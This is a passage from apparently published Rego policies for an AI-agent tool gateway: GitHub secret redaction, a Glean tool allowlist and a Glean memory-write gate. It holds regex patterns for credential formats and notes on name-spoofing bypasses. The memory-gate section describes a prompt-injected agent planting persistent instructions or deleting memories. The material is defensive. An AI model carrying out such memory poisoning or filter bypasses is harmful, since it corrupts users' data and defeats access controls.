`["const key = '[REDACTED-SECRET]';"]`. ### Passed through (no secret in the response) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "github-mcp-search_code", "type": "tool" }, "payload": { "name": "github-mcp-search_code", "text": ["function add(a, b) { return a + b; }"] } } } ``` `allow = true`, no `transform` — the response is returned byte-identical. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline and with the ingress secret block. Recommended companions in `apps/github`: - **block-secrets-commits** (ingress) — the write-direction counterpart: stops the agent from committing new secrets in the first place. - **fence-scopes-org-allowlist** (ingress) — keeps agents out of third-party and personal repos, shrinking the surface this policy has to scan. - A deny policy on `list_secret_scanning_alerts` / `get_secret_scanning_alert` (ingress) — those tools return the *locations* of live leaked credentials and are best gated to a `security` group, not merely masked. ## Known limitations - **Regex over returned text — high-signal masking, not complete DLP.** Only values matching a known shape are caught. Base64-embedded secrets, custom-format or rotating short-lived tokens, secrets split across lines, and keys stored in structured JSON *keys* (the generic pattern matches plain-text `token: value`, not a `"token":"value"` JSON field) all pass through. Treat this as a strong first line of defense on the read path, not a guarantee that no credential reaches the model. - **`pull_request_read` method is not visible on egress.** The spec targets the `get_diff` / `get_files` methods, but the method is an ingress argument — on the response path only the tool name is available. This policy therefore scans **all** `pull_request_read` responses (a harmless superset: masking a secret echoed in a status or review-comment method is fine). - **Over-redaction is possible.** The AWS secret-access-key and generic `key=value` patterns are broad; a 40-char base64 string near the word `aws`, or any `token:`-prefixed value, will be masked even if it is not a live secret. Because the response is preserved except for the matched substring, the cost is a `[REDACTED-SECRET]` marker in otherwise-usable output. Tune `secret_patterns` for your environment. - **Byte-level replacement.** `transformed_payload` is computed in Rego by chained `regex.replace`, so the masked text is well-formed, but the transform replaces the response payload wholesale — verify the rewrite against your gateway version with the dump-input technique and mind attachment order if other egress transforms run on the same pipeline. - **No identity exemption.** All callers get the same masking; this policy has no group carve-out by design (redacting a secret is never harmful). If you need a break-glass reader, add a separate `allow`/exemption branch keyed on `input.subject.claims.groups`. - **Other content-returning reads remain out of scope by design.** The scope is the crown-jewel code/log/diff surfaces (`get_file_contents`, `search_code`, `get_job_logs`, `pull_request_read`, `get_commit`, community `get_pull_request_files`). A secret echoed in a *commit message* or *metadata* read — `list_commits`, `search_commits`, `get_repository_tree` — or in issue / PR-comment / discussion / gist bodies (`issue_read`, `get_gist`, `get_discussion_comments`, …) is **not** scanned and passes through verbatim. These are lower-signal secret channels than raw file/diff content, but if your repos routinely carry credentials in commit messages or issue bodies, add the relevant suffixes to `read_tool_suffixes`. The cost of adding one is only possible over-redaction, never a denied read. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package github.egress.redact_secrets # Transform-only egress policy: masks known credential shapes in the responses # of GitHub's crown-jewel read tools with a fixed [REDACTED-SECRET] marker before # the text enters agent context. Never denies; only rewrites matched substrings. default allow := true redaction_marker := "[REDACTED-SECRET]" # ----------------------------------------------------------------------------- # Credential patterns — the SAME family the ingress secret block # (apps/github/block-secrets-commits) uses, applied here on the read path. # Anchored to common shapes (key=value pairs and provider-specific prefixes) to # limit false positives. # ----------------------------------------------------------------------------- secret_patterns := [ # Generic password / token / api_key / secret_key in `key: value` or `key=value` form `(?i)(?:password|passwd|secret|token|api[_-]?key|secret[_-]?key|access[_-]?key|client[_-]?secret)\s*[:=]\s*\S+`, # AWS access key IDs `AKIA[0-9A-Z]{16}`, # AWS secret access keys (40-char base64-ish, anchored near the word "aws") `(?i)aws(.{0,20})?(secret|access)?.{0,20}[\s:=]+[A-Za-z0-9/+=]{40}`, # GitHub classic personal access tokens `ghp_[A-Za-z0-9]{36}`, # GitHub fine-grained personal access tokens `github_pat_[A-Za-z0-9_]{82}`, # Slack tokens (xoxb-, xoxp-, xoxa-, xoxr-, xoxs-) `xox[baprs]-[A-Za-z0-9-]{10,}`, # Stripe live secret keys `sk_live_[A-Za-z0-9]{24,}`, # Google API keys `AIza[0-9A-Za-z\-_]{35}`, # OpenAI API keys `sk-[A-Za-z0-9]{20,}`, # Generic private key headers `-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`, ] # ----------------------------------------------------------------------------- # Scope: GitHub crown-jewel read tools whose responses carry code / logs / diffs. # Suffix matching keeps the policy portable across gateway server-name prefixes # and covers both the official consolidated names and the archived community # server's granular names. Verified against the GitHub landscape research. # ----------------------------------------------------------------------------- read_tool_suffixes := { # Official server (github/github-mcp-server) "get_file_contents", # file bodies (also shared verbatim by the community server) "search_code", # matched code snippets (also shared by the community server) "get_job_logs", # CI/Actions logs "pull_request_read", # consolidated PR reader (get_diff / get_files methods return code) "get_commit", # commit view returns file patches/diffs — the same committed-secret exfil channel as get_file_contents (shared by the community server) # Archived community server granular PR-files counterpart "get_pull_request_files", } # Egress scope: match the post-invoke/output path on mode, the PARC action, OR # the legacy `kind` alias. If we keyed on input.mode alone and a gateway build # left it unset, is_read_tool would silently fail and redaction would no-op (fail # open, leaking content). action and kind carry the same value on current builds, # but older gateways populate only the legacy `kind`; matching all three closes # the fail-open surface either alias being unset would open. Ingress # (tool_pre_invoke / mode "input") satisfies none of the branches, so it stays out. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } is_egress if { input.kind == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a read-tool suffix — matching only a subset would let a gateway that # populates a different surface slip file content past the scanner. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_read_tool if { is_egress some suffix in read_tool_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Redaction — apply every secret pattern in turn. regex.replace is total over # strings (returns the input unchanged when the pattern does not match), so the # chain is safe and order-independent for these disjoint shapes. Rego forbids # recursion, so the fold is written out as an explicit chain. # ----------------------------------------------------------------------------- redact_all(t) := out if { r0 := regex.replace(t, secret_patterns[0], redaction_marker) r1 := regex.replace(r0, secret_patterns[1], redaction_marker) r2 := regex.replace(r1, secret_patterns[2], redaction_marker) r3 := regex.replace(r2, secret_patterns[3], redaction_marker) r4 := regex.replace(r3, secret_patterns[4], redaction_marker) r5 := regex.replace(r4, secret_patterns[5], redaction_marker) r6 := regex.replace(r5, secret_patterns[6], redaction_marker) r7 := regex.replace(r6, secret_patterns[7], redaction_marker) r8 := regex.replace(r7, secret_patterns[8], redaction_marker) out := regex.replace(r8, secret_patterns[9], redaction_marker) } # String blocks are scanned; non-string (structured/JSON) blocks pass through. redact_block(b) := redact_all(b) if { is_string(b) } redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope and at least one block actually changed. # Otherwise the rule is undefined and the aggregator skips this policy, returning # the response byte-identical. # ----------------------------------------------------------------------------- text_blocks := object.get(object.get(input, "payload", {}), "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(object.get(input, "payload", {}), {"text": redacted_blocks}), } if { is_read_tool is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Glean Default-Deny Unknown Tools URL: https://www.intentbasedpolicy.com/policies/glean/default-deny-unknown-tools App(s): glean | Direction: ingress | Bundles: soc2 | Package: glean.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: glean, default-deny-unknown-tools, allowlist, access-control, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/glean/default-deny-unknown-tools/policy.md # glean / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny unknown Glean tools, allow allowlisted built-in Glean tools and all other servers **Package:** `glean.ingress.default_deny_unknown_tools` ## What it does Pins a per-tenant allowlist of the **verified built-in read tools** on the Glean managed remote MCP server and denies **every other tool suffix** on the Glean server by default. Matching is anchored to the configured Glean server prefix so Glean's generic tool names (`search`, `chat`) are never confused with a same-named tool on a different server. Tools on other MCP servers behind the same gateway pass through unchanged. This closes Glean's two **self-expanding** surfaces: - **Org-built agents-as-tools** — Glean agents surface as extra tools with arbitrary, org-specific snake_case names (e.g. `qbr_summarizer`) that appear without warning. - **MCP-Gateway-proxied tools** — Glean's own MCP Gateway proxies third-party MCP servers (Asana, GitHub, Linear, Notion, Atlassian Rovo, HubSpot, ...) and data-source **write** actions (Jira/Salesforce/GitHub writes). Their tool names are **admin-mutable and undocumented**. Because the tool inventory can grow without warning, a tool that was newly added, proxied in, or renamed after your review is **denied by default until it is reviewed and explicitly added** to the allowlist — never silently reachable. ## Why a reviewed per-tenant allowlist (pin at import time) Unlike apps with a fixed vendor tool set, Glean is an aggregation layer whose surface is composed by admins from a tool menu (Glean recommends ≤40 tools per server) and extended at runtime by agents-as-tools and gateway-proxied connectors. The built-in **read** tools have canonical, upstream-verified snake_case names, so this policy **ships those names pre-populated**. But the live inventory on any given tenant is whatever the admin configured plus whatever agents/proxies were added — which the landscape note documents as having **no stable naming pattern**. So two constants must be reviewed and pinned at import time: - `glean_server_names` — the MCP server name(s) your gateway admin gave the Glean server(s); the gateway prefixes every tool with this name (`-`). The shipped values are **illustrative starter examples** — replace them with your deployment's real names. - `allowed_tool_suffixes` — the exact tool-name suffixes you reviewed. The shipped list is the set of **verified built-in read tools plus the memory surface**. After you inventory the actual configured server, remove any built-in your admin did not enable and add any additional built-in you reviewed. Do **not** add agents-as-tools or proxied write tools here without a deliberate review — that is exactly the drift this policy exists to catch. This policy's default-deny applies **only within the scope of a pinned server name**. Deny-by-default is *scoped*, not global: a tool is subjected to the allowlist only if its name carries one of the pinned prefixes. If none of the pinned names match the prefix your gateway actually sends, the Glean server is treated as an unrecognized "other server" and **its entire surface — verified read tools, agents-as-tools, and proxied writes alike — passes through the out-of-scope branch ALLOWED (fail open)**. Pinning the correct server name is therefore not optional hardening; it is what makes this gate exist at all. Confirm the exact prefix the gateway sends with the dump-input debug technique **before** relying on this policy — see the "Server-name pinning is load-bearing" entry under Known limitations. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: Glean can reach everything the user has indexed (Drive, mail, HR, finance, Gong, source code), so the agent channel is confined to the tool names that were explicitly reviewed and pinned. - **SOC 2 CC6.6** — supports boundary protection against external threats: an agent-as-tool or a gateway-proxied third-party/write tool added upstream cannot extend the agent channel's reach past the reviewed inventory. - **SOC 2 CC6.8** — supports preventing unauthorized/unreviewed software on the agent channel: a newly proxied or agent-generated tool is new executable capability, denied by default until reviewed (partial — MCP path only). - **SOC 2 CC7.2 / CC7.3** — deny events on unknown names surface tool-set drift as reviewable alerts in the gateway's audit pipeline (partial — alerting/monitoring itself is a platform property, not this policy). - **HIPAA §164.308(a)(4) / §164.312(a)(1)** — supports information access management and technical access control on a PHI-capable aggregation layer: Glean can reach PHI-bearing indexed sources (mail, HR, support tickets, clinical documents in Drive/Confluence), so confining the agent channel to the reviewed built-in tool inventory limits which access paths exist over MCP and denies unreviewed self-expanding surfaces by default. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default posture for any new Glean data-access path is deny, and access requires a deliberate allowlist change after review. ## Tool name matching Matching is case-insensitive (`lower(input.resource.name)`). **Scoping** ("is this the Glean server?") is decided on a whitespace-trimmed view of the name: a name is in scope when — after trimming leading/trailing whitespace — it starts with a pinned Glean server name followed by `-` (the gateway's `-` convention), or equals a pinned server name outright. The trim is deliberate: without it, a padded name like `" glean-mcp-search"` would fail the prefix test, be mistaken for a different server, and pass through the out-of-scope allow branch — a fail-open bypass. **Allowlisting** is a suffix match anchored to the prefix: for an in-scope name, the policy strips a pinned server prefix off the **untrimmed** lower-cased name and requires the remaining tool suffix to **exactly equal** an entry in `allowed_tool_suffixes`. Anchoring on the prefix and requiring an exact suffix is what closes two bypasses at once: - a **different server's** generic tool (a GitHub server's `search`) is out of scope and governed by its own policy, not accidentally allowed here; - a **look-alike Glean tool** whose name merely ends in an allowlisted token (`evil_search`, which ends in `search`) is **not** an exact suffix match, so it is denied. Because scoping trims but the allowlist match runs on the untrimmed name, a whitespace-padded variant (leading or trailing) lands **in scope but is never an exact suffix match, so it is denied** (fail closed). Everything in scope that does not match exactly — agents-as-tools, proxied writes, renamed or new built-ins, near-misses — is denied. The gateway's server-name prefix is deployment-specific; verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and pin **every** Glean server name if the gateway fronts more than one Glean server path. ## Argument shape None. The decision is made entirely from the tool name — the point of this gate is that an unknown tool's semantics cannot be inspected from its arguments. A scoped unknown tool is denied even when its arguments or the whole payload are missing. If `input.resource.name` is missing entirely, empty, **whitespace-only** (e.g. `" "`, a tab, a newline), or a non-string (JSON `null`, a number, an object), the request **fails closed** (denied): a nameless call cannot be matched against the reviewed allowlist. The whitespace-only case matters specifically because a trimmed-empty name is not a Glean tool and must not be waved through the out-of-scope pass-through branch. ## Examples ### Allowed ```jsonc // A verified built-in read tool on the pinned Glean server. { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-mcp-search", "type": "tool" }, "payload": { "name": "glean-mcp-search", "args": { "query": "q3 roadmap", "app": "confluence" } } } } ``` `allow = true`, no reason. ### Denied ```jsonc // An org-built agent-as-tool that appeared after the review — unknown suffix. { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-mcp-qbr_summarizer", "type": "tool" }, "payload": { "name": "glean-mcp-qbr_summarizer", "args": { "quarter": "Q3" } } } } ``` `allow = false`, `reason = "The Glean tool 'glean-mcp-qbr_summarizer' is not on the reviewed allowlist (...)"`. ## Composition This policy is the ingress gate the rest of the Glean set assumes: companion policies (a memory-write guard on `memory`/`read_memory`, a transcript guard on `meeting_lookup`, a datasource fence and bulk-export cap on `search`, an external-URL guard on `read_document`, and an egress PII-redaction backstop) only ever see a request that already passed this gate, so their per-tool logic can assume the tool inventory is the one that was reviewed. Keep those attached alongside this policy — allowlisting the memory surface here does **not** permit memory writes; the action-level guard does that. ## Known limitations - **Server-name pinning is load-bearing — a wrong/unpinned prefix fails OPEN.** Scoping is decided entirely by the pinned `glean_server_names` prefixes. Because the policy cannot tell a *mis-prefixed Glean tool* from a legitimate *different server's* tool by name alone, any name that does **not** carry a pinned prefix is treated as another server and passes through the out-of-scope branch **allowed**. Two configurations therefore silently defeat the whole gate: (1) the gateway prefixes Glean tools with a name you have not pinned (e.g. the shipped defaults `glean-mcp`/`glean` left in place while your gateway actually sends `acme-glean-…`), and (2) the gateway sends **bare, unprefixed** tool names (`search`, `qbr_summarizer`, `create_jira_issue`). In both cases every Glean tool — including agents-as-tools and proxied writes — is allowed, not denied. This is the inverse of the fail-closed guarantee that holds *inside* the pinned scope, and it cannot be closed in Rego without also blocking every genuinely-different server behind the gateway. Confirm the exact prefix your gateway emits with the dump-input debug technique before relying on this policy, pin **every** Glean server name, and treat a pass-through allow on a Glean tool as a misconfiguration signal. - **Proxied-tool naming is undocumented.** The landscape note records that the naming pattern for Glean-MCP-Gateway-proxied third-party and data-source write tools is **not documented** and is org-specific. The reviewed allowlist is therefore the **only reliable defense** against inventory drift — there is no name shape to match proxied writes by. Re-inventory the configured server whenever the Glean MCP server composition, its agents, or its gateway connectors change. - **The allowlist is only as good as the review.** This policy pins *names*, not semantics. If an admin re-points an allowlisted built-in name at different behavior, or an agent is given the exact name of a retired built-in, the gate cannot see the change. Re-review on any config change. - **Legacy local-server names differ.** The archived `gleanwork/mcp-server` (stdio, deprecated June 2026) exposed different names for the same functions (`company_search`, `people_profile_search`). This allowlist ships the **remote managed-server** names only. If a tenant still runs the archived package, add those legacy aliases after reviewing them. - **Naming divergence within the official surface.** Glean's admin docs list the memory tool as `memory`; Glean's own client guide surfaces it as `read_memory`. Both suffixes are on the allowlist so either wire name is accepted; the action-level memory-write guard is what restricts what the tool may do. - **Embedded server-name mimicry.** Matching strips the pinned prefix and compares the exact remaining suffix, so a scoped name whose *tool portion* embeds the server name again (e.g. `glean-mcp-x-glean-mcp-search`) yields the suffix `x-glean-mcp-search`, which is not on the allowlist and is denied. There is no known way for such a name to pass; it is called out only so reviewers know the exact-suffix comparison is intentional. - **A request with no usable tool name is denied (fail closed).** Unlike apps that pass nameless calls through, this policy denies a call whose `input.resource.name` is missing, empty, **whitespace-only** (`" "`, tab, newline), or a **non-string** (JSON `null`, number, object). The decision is made on a whitespace-trimmed view, and a non-string name is coerced to `""`, so all of these land on the same fail-closed deny with the missing-name reason — none of them slip through the out-of-scope pass-through branch. The gateway does not normally route a nameless tool call; if you see this denial, verify the gateway is populating `resource.name` with the dump-input technique rather than relaxing the policy. - **No identity-based exemptions — intentionally.** Exempting a group from the anchor gate would bypass every downstream Glean policy at once. For unreviewed tooling needs, use the Glean web UI or a native client outside the agent channel, where the user's own permissions and audit trail apply. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package glean.ingress.default_deny_unknown_tools # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Per-tenant pinned constants (EDIT AT IMPORT TIME) --- # The gateway prefixes every tool with the MCP server name it was configured # under (`-`). Pin the name(s) your admin gave the Glean # server(s) here — every name starting with one of these prefixes is treated as # a Glean tool and subjected to the allowlist. These are ILLUSTRATIVE STARTER # EXAMPLES; replace them with your deployment's real names. Lower-case only. glean_server_names := [ "glean-mcp", "glean", ] # The exact built-in tool-name suffixes you reviewed for this deployment. Glean's # built-in READ tools have canonical upstream-verified snake_case names, shipped # here pre-populated, plus the memory surface (allowed at the tool level here; # memory WRITES are governed by the companion action-level guard). Matching is # an EXACT suffix match after the pinned server prefix is stripped — anchoring on # the prefix keeps Glean's generic names (`search`, `chat`) from colliding with a # same-named tool on another server, and the exact match denies look-alikes such # as `evil_search`. Agents-as-tools and gateway-proxied write tools are # deliberately NOT listed: they are the drift this policy exists to deny. After # inventorying the configured server, prune built-ins your admin did not enable # and add any additional reviewed tool. Lower-case only. allowed_tool_suffixes := [ "search", "chat", "read_document", "code_search", "employee_search", "gmail_search", "outlook_search", "meeting_lookup", "user_activity", "memory_schema", "knowledge_graph_query", "knowledge_graph_schema", "memory", "read_memory", ] # The raw name field, defaulting to "" when resource or name is absent. raw_name := object.get(object.get(input, "resource", {}), "name", "") # Case-insensitive; always defined. A missing name yields "". A NON-STRING name # (JSON null, number, object) is coerced to "" so the request fails closed WITH # the missing-name reason, rather than leaving `normalized_name` undefined — # which would still deny (default false) but emit no reason, hiding the event # from the drift-alert audit pipeline. normalized_name := lower(raw_name) if is_string(raw_name) normalized_name := "" if not is_string(raw_name) # Scoping ("is this the Glean server?") is decided on a whitespace-trimmed view # of the name so that leading/trailing padding cannot push a Glean tool OUT of # scope into the pass-through allow branch (a fail-open bypass). Trimming here # keeps padded names in scope; the exact suffix match below runs on the untrimmed # `normalized_name`, so a padded name is in scope but never an exact match => # denied (fail closed). trim_space trims Unicode whitespace on both ends. scoping_name := trim_space(normalized_name) # A tool is in scope when it carries a pinned Glean server-name prefix followed # by the gateway's `-` separator... is_glean_tool if { some server in glean_server_names startswith(scoping_name, concat("", [server, "-"])) } # ...or is exactly a pinned server name (degenerate prefix-only name: still # Glean-scoped, never on the allowlist, so it is denied). is_glean_tool if { some server in glean_server_names scoping_name == server } # Allowlist = exact suffix match anchored to the prefix: strip a pinned server # prefix off the UNTRIMMED lower-cased name and require the remainder to equal a # reviewed built-in suffix exactly. Runs on `normalized_name` so whitespace # variants fail (fail closed). is_allowed_glean_tool if { some server in glean_server_names prefix := concat("", [server, "-"]) startswith(normalized_name, prefix) suffix := substring(normalized_name, count(prefix), -1) some tool in allowed_tool_suffixes suffix == tool } # Tools on other MCP servers are out of scope — pass through unchanged. Gated on # the TRIMMED `scoping_name` being non-empty so that a missing, empty, OR # whitespace-only `resource.name` does NOT fall through here: such a call trims # to "" and is denied by default (fail closed). Using the untrimmed # `normalized_name` here would let a whitespace-only name (" ", "\t", "\n") — # non-empty yet not a Glean tool — slip through this branch and be ALLOWED, # defeating the fail-closed guarantee. allow if { scoping_name != "" not is_glean_tool } # Glean tools are allowed only on an exact reviewed-suffix match. allow if { is_glean_tool is_allowed_glean_tool } # Scoped Glean tool that is not on the reviewed allowlist — denied with the # drift-alert reason. reasons contains msg if { is_glean_tool not is_allowed_glean_tool msg := sprintf("The Glean tool '%s' is not on the reviewed allowlist of verified built-in Glean tools, so it is denied by default. Glean's tool inventory is admin-mutable and self-expanding: org-built agents-as-tools and MCP-Gateway-proxied third-party and write tools appear under arbitrary, undocumented names. If this tool is legitimate, ask your gateway operator to inventory the configured Glean server, review this tool, and add its exact name suffix to the allowlist in this policy after review.", [normalized_name]) } # Missing, empty, whitespace-only, or non-string tool name — cannot be verified, # denied (fail closed). Keyed on the TRIMMED name so a whitespace-only name is # treated as nameless too (a non-string name is coerced to "" upstream). reasons contains "This request carries no tool name, so it cannot be matched against the reviewed Glean allowlist and is denied by default (fail closed). Verify the gateway is populating input.resource.name with the dump-input debug technique; if tool names are missing systemically, fix the gateway configuration rather than relaxing this policy." if { scoping_name == "" } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Glean: Gate Memory Writes (Read-Only Default) URL: https://www.intentbasedpolicy.com/policies/glean/gate-memory-writes App(s): glean | Direction: ingress | Bundles: soc2 | Package: glean.ingress.gate_memory_writes | Published: 2026-07-12 | Tags: glean, gate-memory-writes, role-gate-writes, memory, access-control, least-privilege, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/glean/gate-memory-writes/policy.md # glean / gate-memory-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny memory writes unless the caller is in the pilot group; allow memory reads and every other tool **Package:** `glean.ingress.gate_memory_writes` ## What it does Gates mutating calls to Glean's long-term **memory** surface — the built-in tool exposed as `memory` (and as `read_memory` in Glean's own client guide). A call to that tool is denied when its `action` argument is anything other than `"read"` — i.e. `add`, `update`, or `delete`, or a missing/empty action — **unless** the caller's IdP `groups` claim contains the placeholder pilot group `glean-memory-pilot`. Memory reads (`action:"read"`) always pass, and every other Glean tool (`search`, `chat`, `read_document`, `employee_search`, `memory_schema`, the `knowledge_graph_*` introspection tools, etc.) passes untouched. Memory is Glean's only built-in write and a cross-session persistence channel. Since the March 2026 release, any connected MCP host can add, update, or delete a user's memories. A prompt-injected agent could plant durable instructions (`category:"ConstraintsAndGuardrails"`) that survive across sessions, or erase a user's context with `action:"delete"`. Gating writes at ingress blocks memory-poisoning and unauthorized deletion from connected hosts while leaving retrieval-only use unaffected. The check runs at ingress, before the call reaches the Glean MCP server, so a denied memory write never executes and has no persistent side effect. ## Compliance alignment This policy is the Glean instance of policy family **PF-12 (role-gate-writes)** on the memory surface. It supports alignment with the following controls on the MCP path: - **SOC 2 CC6.1** — supports logical access security over protected assets: Glean memory cannot be mutated over the agent channel without an explicit role grant. **CC6.3** — supports role-based access and least privilege; write capability is bound to a live IdP group, so removing the group in the IdP removes memory-write access on the next call. - **HIPAA §164.308(a)(4)** — supports information access management: memory-write authorization is role-scoped. **§164.312(a)(1)/(a)(2)(i)** — supports technical access control and unique user identification, using the per-call identity from the caller's JWT. - **GDPR Art. 25** — supports data protection by design/default on the agent channel: the default posture is read-only. **Art. 29 / 32(4)** — supports processing only on the controller's instructions; an unauthorized principal cannot alter or delete stored personal context through the agent. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `glean-default-memory`), and that prefix is not standardized — so matching is case-insensitive and by **suffix**: - Admin docs name the tool `memory`; Glean's own client guide surfaces it as `read_memory`. Both names end in `memory`, so a single `endswith(..., "memory")` match covers both suffixes. - The read-only introspection tools `memory_schema`, `knowledge_graph_query`, and `knowledge_graph_schema` do **not** end in `memory`, so they are never matched by this policy. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. Glean's remote server uses generic snake_case names, so if you attach this policy to a pipeline that also fronts a *different* MCP server that happens to expose a tool whose name ends in `memory`, that tool would also be gated — attach it to a Glean-scoped pipeline, or narrow the match. ## Argument shape The decision reads the action from `object.get(input.payload.args, "action", "")` and the caller's identity from `input.subject.claims.groups`. The comparison against `"read"` is exact and case-sensitive to match Glean's `action` enum (`read` | `add` | `update` | `delete`): any other value — including a wrong-case `"READ"`, an unknown verb, or a missing/empty action — is treated as a **write** and denied for non-pilot callers (fail closed). No other argument (`category`, `query`, `read_filters`, ...) is inspected, so the gate cannot be bypassed by unusual argument nesting or encodings. ## Identity Group membership is read fail-closed from `object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", [])` — i.e. the `groups` claim inside `object.get(input.subject, "claims", {})`. A missing subject, missing claims, a missing `groups` claim, or a `groups` claim that is not an array all mean "not a pilot", and the memory write is denied. Memory reads and non-memory tools are unaffected by identity. ## Examples ### Allowed — memory read, no pilot group required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-default-memory", "type": "tool" }, "subject": { "sub": "auth0|alice", "claims": { "groups": ["engineering"] } }, "payload": { "name": "glean-default-memory", "args": { "action": "read", "query": "my active projects" } } } } ``` `allow = true`, no reason. ### Allowed — memory write by a pilot-group member ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-default-memory", "type": "tool" }, "subject": { "sub": "auth0|alice", "claims": { "groups": ["glean-memory-pilot"] } }, "payload": { "name": "glean-default-memory", "args": { "action": "add", "category": "ActiveProjects", "content": "Q3 launch" } } } } ``` `allow = true`, no reason. ### Denied — memory write by a non-pilot caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-default-read_memory", "type": "tool" }, "subject": { "sub": "auth0|bob", "claims": { "groups": ["engineering"] } }, "payload": { "name": "glean-default-read_memory", "args": { "action": "delete", "memory_id": "m-123" } } } } ``` `allow = false`, `reason = "Glean memory writes (add, update, delete) are restricted to members of the 'glean-memory-pilot' group ..."`. ## Composition This policy gates *who* may write to Glean memory; it does not inspect *what* is written. Useful companions: - **`apps/glean/default-deny-unknown-tools`** — Glean's tool inventory is admin-mutable (agents-as-tools, gateway-proxied writes). Pair this with a default-deny allowlist so new write surfaces do not appear unreviewed. - **`apps/glean/fence-datasource-scope`** and an egress PII-redaction policy on `search` / `read_document` / `chat` responses, since this policy leaves Glean's (extensive) read path open. - A `meeting_lookup` transcript guard for the other high-sensitivity Glean surface. ## Known limitations - **Pilot group name is a placeholder** — replace `glean-memory-pilot` with your tenant's IdP group name at import time. The policy expects `groups` to be an array claim in the caller's JWT; if your IdP emits groups under a different or namespaced claim (e.g. `https://acme.com/groups`), update `caller_groups` in `policy.md`. - **`args` vs `arguments` key is unverified.** This policy reads the action from `input.payload.args.action`, per the DTwo gateway's documented payload shape. Glean's own tool reference describes the parameter under `arguments`. If your gateway forwards Glean's arguments under a different key, `action` reads as empty and *every* memory call fails closed (denied for non-pilot callers) — verify the live payload shape with the dump-input technique before production and adjust the `object.get` path if needed. - **Reads are open to everyone**, including reads of memories that hold sensitive context. This policy protects integrity/persistence (writes), not confidentiality of the read path — pair with an egress redaction policy if memory contents are sensitive in your tenant. - **Suffix over-match on shared pipelines.** Because matching is by the `memory` suffix, a non-Glean tool on the same pipeline whose name ends in `memory` would also be gated. Attach to a Glean-scoped pipeline or narrow the match. - **Suffix match ignores hook type.** The gate keys on the tool-name suffix alone, so a *prompt* or *resource* whose name ends in `memory` (e.g. a `prompt_pre_fetch` for `session_memory`) is gated as if it were the memory write tool and denied for non-pilot callers. This is a benign, fail-*closed* over-block — a prompt/resource fetch cannot mutate memory, so nothing leaks; the only cost is a confusing memory-write denial on an unrelated hook. It is deliberate: keying on the suffix alone means a missing or unexpected `resource.type`/`action` field can never cause a real memory write to slip through un-gated (fail open). If the confusing message matters in your tenant, add a `resource.type == "tool"` guard — but only after confirming your gateway reliably populates `resource.type`, since gating on it makes a missing value fail open. > **Compliance note.** This policy supports alignment with the cited framework controls **on the > MCP path only**. No policy or bundle makes an organization compliant with any framework; > web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate > against your own compliance program before relying on it. ```rego package glean.ingress.gate_memory_writes # Deny-by-default: memory reads and every non-memory tool are explicitly allowed # below; every memory *write* requires membership in the pilot group. default allow := false # Placeholder IdP group permitted to perform Glean memory writes. # Replace "glean-memory-pilot" with your tenant's IdP group name at import time. pilot_group := "glean-memory-pilot" # Lowercased tool name. The gateway prefixes tool names with the configured MCP # server name (e.g. `glean-default-memory`), so matching is case-insensitive and # by suffix to stay portable across server-name prefixes. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Glean's long-term memory surface. Admin docs list it as `memory`; Glean's own # client guide surfaces it as `read_memory`. Both names end in `memory`, so a # single suffix match covers both. The read-only introspection tools # (`memory_schema`, `knowledge_graph_*`) do not end in `memory` and are unaffected. is_memory_tool if { endswith(tool_name, "memory") } # The memory tool's `action` argument: "read" | "add" | "update" | "delete". # Read via object.get so a missing args object or missing action key yields "". memory_action := object.get(object.get(object.get(input, "payload", {}), "args", {}), "action", "") # Only the exact value "read" is a read. Case-sensitive to match Glean's enum: # any other value (add/update/delete/unknown/empty) is treated as a write, so a # missing or empty action fails closed. is_read if { memory_action == "read" } # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim that # is not an array all yield "not a pilot" — memory writes then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # The is_array guard is load-bearing: `some g in caller_groups` iterates the # *values* of an object, so a groups claim shaped as {"role":"glean-memory-pilot"} # would otherwise match and fail OPEN. Requiring an array keeps every non-array # shape 